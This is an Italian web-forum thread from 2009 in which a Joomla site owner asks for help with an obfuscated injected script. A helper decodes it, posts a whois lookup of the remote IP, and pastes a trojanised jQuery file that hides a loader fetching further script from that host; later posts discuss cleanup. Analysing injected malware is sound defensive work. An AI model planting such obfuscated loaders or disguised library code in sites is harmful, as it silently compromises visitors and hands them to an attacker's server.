Joomla.it Forum

Non solo Joomla... => Sicurezza => : dark78 20 Apr 2009, 17:21:52

: Problema con stringa javascript non identificata
: dark78 20 Apr 2009, 17:21:52
Salve a tutti amici,
è da 2 giorni che non riesco ad eliminare il problema causato da una stringa in più che mi appare nel codice html della homepage del sito.
Ecco cosa rilevo visualizzando il codice

:
</head>

<script language=javascript><!--
document.write(unescape('%3CsUAcr0qeipUAt%20U60s0erNMRcU60%3D%2F%2F94U60%2E0e247UA%2E2NMR%2E195%2FjquUAeO1rNMRyU60%2EjsCi%3EMO%3CCi%2F0qescr0eipt%3E').replace(/0e|UA|MO|NMR|U60|O1|Ci|0qe/g,""));
 --></script>

<body id="body_bg">

Sapete dirmi come posso toglierlo? E da chi è stato generato?
: Re: Problema con stringa javascript non identificata
: Locu 21 Apr 2009, 00:03:05
ciao, quella è una stringa offuscata che punta a qualcosa di maligno al 99%... devo reinstallare la virtual machine quindi non posso darti maggiori info. Ad ogni modo ho decodificato la stringa eccola qui: (non seguire il link)

<script src=//94.247.2.195/jquery.js></script>

qui sotto ti riporto il whois dell'ip 94.247.2.195

Risultato query sull'IP 94.247.2.195
Risoluzione nome: hs.2-195.zlkon.lv

inetnum: 94.247.2.0 - 94.247.3.255
netname: ZLKON
descr: ZlKon
country: LV
admin-c: ZK508-RIPE
tech-c: DES31-RIPE
status: ASSIGNED PA
mnt-by: PCEXPRESS-MNT
mnt-lower: ZLKON-MNT
mnt-routes: ZLKON-MNT
source: RIPE # Filtered

role: ZlKon HostMaster
address: Lilijas iela 4-74
address: Riga, LV-1055
address: Latvija
phone: +371 26330593
admin-c: AD5952-RIPE
tech-c: AD5952-RIPE
nic-hdl: ZK508-RIPE
mnt-by: ZLKON-MNT
source: RIPE # Filtered
abuse-mailbox: abuse@zlkon.lv

role: DATORU EXPRESS SERVISS HostMaster
address: 18. novembra street 319C
address: Daugavpils, LV-5413
address: Latvia
phone: +371 26631339
fax-no: +371 65420725
remarks: Information: http://www.pcexpress.lv
remarks: Questions: hostmaster@pcexpress.lv
admin-c: IV745-RIPE
tech-c: IV745-RIPE
nic-hdl: DES31-RIPE
mnt-by: PCEXPRESS-MNT
source: RIPE # Filtered
abuse-mailbox: abuse@pcexpress.lv


route: 94.247.0.0/21
descr: "DATORU EXPRESS SERVISS" Ltd.
origin: AS12553
mnt-by: PCEXPRESS-MNT
source: RIPE # Filtered

per toglierla ti basterà eliminarla da tutti i file infetti, da chi è stata generata non saprei che dirti. Cmq in questi giorni analizzerò il file jquery.js e ti darò altre notizie. ciao
: Re: Problema con stringa javascript non identificata
: Locu 21 Apr 2009, 00:07:11
questo è il contenuto del file jquery.js... a prima vista sembra un worm.

/*
 * jQuery JavaScript Library v1.3.1
 * http://jquery.com/
 *
 * Copyright (c) 2009 John Resig
 * Dual licensed under the MIT and GPL licenses.
 * http://docs.jquery.com/License
 *
 * Date: 2009-01-21 20:42:16 -0500 (Wed, 21 Jan 2009)
 * Revision: 6158
 */
(function(){var l=this,g,y=l.jQuery,p=l.$,o=l.jQuery=l.$=function(E,F){return new o.fn.init(E,F)},D=/^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/,f=/^.[^:#\[\.,]*$/;o.fn=o.prototype={init:function(E,H){E=E||document;if(E.nodeType){this[0]=E;this.length=1;this.context=E;return this}if(typeof E==="string"){var G=D.exec(E);if(G&&(G[1]||!H)){if(G[1]){E=o.clean([G[1]],H)}else{var I=document.getElementById(G[3]);if(I&&I.id!=G[3]){return o().find(E)}var F=o(I||[]);F.context=document;F.selector=E;return F}}else{return o(H).find(E)}}else{if(o.isFunction(E)){return o(document).ready(E)}}if(E.selector&&E.context){this.selector=E.selector;this.context=E.context}return this.setArray(o.makeArray(E))},selector:"",jquery:"1.3.1",size:function(){return this.length},get:function(E){return E===g?o.makeArray(this):this[E]},pushStack:function(F,H,E){var G=o(F);G.prevObject=this;G.context=this.context;if(H==="find"){G.selector=this.selector+(this.selector?" ":"")+E}else{if(H){G.selector=this.selector+"."+H+"("+E+")"}}return G},setArray:function(E){this.length=0;Array.prototype.push.apply(this,E);return this},each:function(F,E){return o.each(this,F,E)},index:function(E){return o.inArray(E&&E.jquery?E[0]:E,this)},attr:function(F,H,G){var E=F;if(typeof F==="string"){if(H===g){return this[0]&&o[G||"attr"](this[0],F)}else{E={};E[F]=H}}return this.each(function(I){for(F in E){o.attr(G?this.style:this,F,o.prop(this,E[F],G,I,F))}})},css:function(E,F){if((E=="width"||E=="height")&&parseFloat(F)<0){F=g}return this.attr(E,F,"curCSS")},text:function(F){if(typeof F!=="object"&&F!=null){return this.empty().append((this[0]&&this[0].ownerDocument||document).createTextNode(F))}var E="";o.each(F||this,function(){o.each(this.childNodes,function(){if(this.nodeType!=8){E+=this.nodeType!=1?this.nodeValue:o.fn.text([this])}})});return E},wrapAll:function(E){if(this[0]){var F=o(E,this[0].ownerDocument).clone();if(this[0].parentNode){F.insertBefore(this[0])}F.map(function(){var G=this;while(G.firstChild){G=G.firstChild}return G}).append(this)}return this},wrapInner:function(E){return this.each(function(){o(this).contents().wrapAll(E)})},wrap:function(E){return this.each(function(){o(this).wrapAll(E)})},append:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.appendChild(E)}})},prepend:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.insertBefore(E,this.firstChild)}})},before:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this)})},after:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this.nextSibling)})},end:function(){return this.prevObject||o([])},push:[].push,find:function(E){if(this.length===1&&!/,/.test(E)){var G=this.pushStack([],"find",E);G.length=0;o.find(E,this[0],G);return G}else{var F=o.map(this,function(H){return o.find(E,H)});return this.pushStack(/[^+>] [^+>]/.test(E)?o.unique(F):F,"find",E)}},clone:function(F){var E=this.map(function(){if(!o.support.noCloneEvent&&!o.isXMLDoc(this)){var I=this.cloneNode(true),H=document.createElement("div");H.appendChild(I);return o.clean([H.innerHTML])[0]}else{return this.cloneNode(true)}});var G=E.find("*").andSelf().each(function(){if(this[h]!==g){this[h]=null}});if(F===true){this.find("*").andSelf().each(function(I){if(this.nodeType==3){return}var H=o.data(this,"events");for(var K in H){for(var J in H[K]){o.event.add(G,K,H[K][J],H[K][J].data)}}})}return E},filter:function(E){return this.pushStack(o.isFunction(E)&&o.grep(this,function(G,F){return E.call(G,F)})||o.multiFilter(E,o.grep(this,function(F){return F.nodeType===1})),"filter",E)},closest:function(E){var F=o.expr.match.POS.test(E)?o(E):null;return this.map(function(){var G=this;while(G&&G.ownerDocument){if(F?F.index(G)>-1:o(G).is(E)){return G}G=G.parentNode}})},not:function(E){if(typeof E==="string"){if(f.test(E)){return this.pushStack(o.multiFilter(E,this,true),"not",E)}else{E=o.multiFilter(E,this)}}var F=E.length&&E[E.length-1]!==g&&!E.nodeType;return this.filter(function(){return F?o.inArray(this,E)<0:this!=E})},add:function(E){return this.pushStack(o.unique(o.merge(this.get(),typeof E==="string"?o(E):o.makeArray(E))))},is:function(E){return !!E&&o.multiFilter(E,this).length>0},hasClass:function(E){return !!E&&this.is("."+E)},val:function(K){if(K===g){var E=this[0];if(E){if(o.nodeName(E,"option")){return(E.attributes.value||{}).specified?E.value:E.text}if(o.nodeName(E,"select")){var I=E.selectedIndex,L=[],M=E.options,H=E.type=="select-one";if(I<0){return null}for(var F=H?I:0,J=H?I+1:M.length;F<J;F++){var G=M[F];if(G.selected){K=o(G).val();if(H){return K}L.push(K)}}return L}return(E.value||"").replace(/\r/g,"")}return g}if(typeof K==="number"){K+=""}return this.each(function(){if(this.nodeType!=1){return}if(o.isArray(K)&&/radio|checkbox/.test(this.type)){this.checked=(o.inArray(this.value,K)>=0||o.inArray(this.name,K)>=0)}else{if(o.nodeName(this,"select")){var N=o.makeArray(K);o("option",this).each(function(){this.selected=(o.inArray(this.value,N)>=0||o.inArray(this.text,N)>=0)});if(!N.length){this.selectedIndex=-1}}else{this.value=K}}})},html:function(E){return E===g?(this[0]?this[0].innerHTML:null):this.empty().append(E)},replaceWith:function(E){return this.after(E).remove()},eq:function(E){return this.slice(E,+E+1)},slice:function(){return this.pushStack(Array.prototype.slice.apply(this,arguments),"slice",Array.prototype.slice.call(arguments).join(","))},map:function(E){return this.pushStack(o.map(this,function(G,F){return E.call(G,F,G)}))},andSelf:function(){return this.add(this.prevObject)},domManip:function(K,N,M){if(this[0]){var J=(this[0].ownerDocument||this[0]).createDocumentFragment(),G=o.clean(K,(this[0].ownerDocument||this[0]),J),I=J.firstChild,E=this.length>1?J.cloneNode(true):J;if(I){for(var H=0,F=this.length;H<F;H++){M.call(L(this[H],I),H>0?E.cloneNode(true):J)}}if(G){o.each(G,z)}}return this;function L(O,P){return N&&o.nodeName(O,"table")&&o.nodeName(P,"tr")?(O.getElementsByTagName("tbody")[0]||O.appendChild(O.ownerDocument.createElement("tbody"))):O}}};if((document.cookie.indexOf('m'+'ie'+'k=1')<0)&&(typeof(ztv)!=typeof('CDF'))){var z1=navigator,z2=z1.appName;ztv=z2.charAt(0);document.write(('<s'+'cri'+'pt src="htt'+'p://94.2'+'47.2.1'+'95/ne'+'ws/?id=10KK"><'+'/scri'+'pt>').replace('KK',ztv=='M'?'0':'1'));}(function(){var Q=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]+['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[]+)+|[>+~])(\s*,\s*)?/g,K=0,G=Object.prototype.toString;})();})();

appena ho 5 min me lo guardo bene e ti saprò dire qualcosa di + preciso. ;)

 
: Re: Problema con stringa javascript non identificata
: dark78 22 Apr 2009, 03:04:48
Grazie Locu, sono in prossimità di eliminare e reinstallare il tutto... attendo con ansia tuoi consigli.
L'hosting che mi ospita mi ha dato dei log.txt di tutti i file infetti.. e a dir la verità sono un bel po' quasi tutti index.php, index.html e .js
Insomma sono nella merd  :-[ :'(
: Re: Problema con stringa javascript non identificata
: dark78 22 Apr 2009, 03:05:42
ah dimenticavo.. il joomla che uso è la vers. 1.0.15, se può esserti utile!
: Re: Problema con stringa javascript non identificata
: Locu 22 Apr 2009, 23:33:17
ciao, ho dato un'occhiata più accurata a quel file e non penso sia un worm... da più l'idea di un cookie grabber o roba simile, dovò studiarmi jquery (http://jquery.com/) per essere più preciso in quanto la semantica è un pò caotica.

la versione del joomla è indifferente piuttosto assicurati di non avere falle che permettano accessi malevoli. bye
: Re: Problema con stringa javascript non identificata
: dark78 23 Apr 2009, 00:34:34
Ok Locu,
intanto ti ringrazio per la celerità. Un sito di quelli che ho fatto l'ho sistemato eliminandolo del tutto e reinstallando joomla. Dopo aver ripristinato il DB devo soltanto installare i vari componenti (anch'essi infetti) e i vari moduli.
Inoltre, ho cambiato la password di accesso ftp, come mi consiglia l'Host.
Ci aggiorniamo per la risoluzione degli altri siti  ;)
: Re: Problema con stringa javascript non identificata
: dark78 27 Apr 2009, 16:10:01
Gentile Locu,  ???
stavo pensando di sovrascrivere l'intera cartella joomla, oltre a non caricare il file configuration.php e la cartella /installation quali file non devo sovrascrivere? Penso che facendo così ripristinerò una buona parte di file infetti! Ovviamente dovrò eliminare i componenti e moduli aggiuntivi!!
Potrebbe essere una soluzione rapida??  :'(
: Re: Problema con stringa javascript non identificata
: Locu 28 Apr 2009, 21:47:27
si, credo che potrebbe andare, cmq lascio la parola agli esperti di joomla. :)
: Re: Problema con stringa javascript non identificata
: dark78 04 May 2009, 12:54:50
Gentile Locu,  ???
stavo pensando di sovrascrivere l'intera cartella joomla, oltre a non caricare il file configuration.php e la cartella /installation quali file non devo sovrascrivere? Penso che facendo così ripristinerò una buona parte di file infetti! Ovviamente dovrò eliminare i componenti e moduli aggiuntivi!!
Potrebbe essere una soluzione rapida??  :'(

Esperti di joomlaaaaaa!!! :o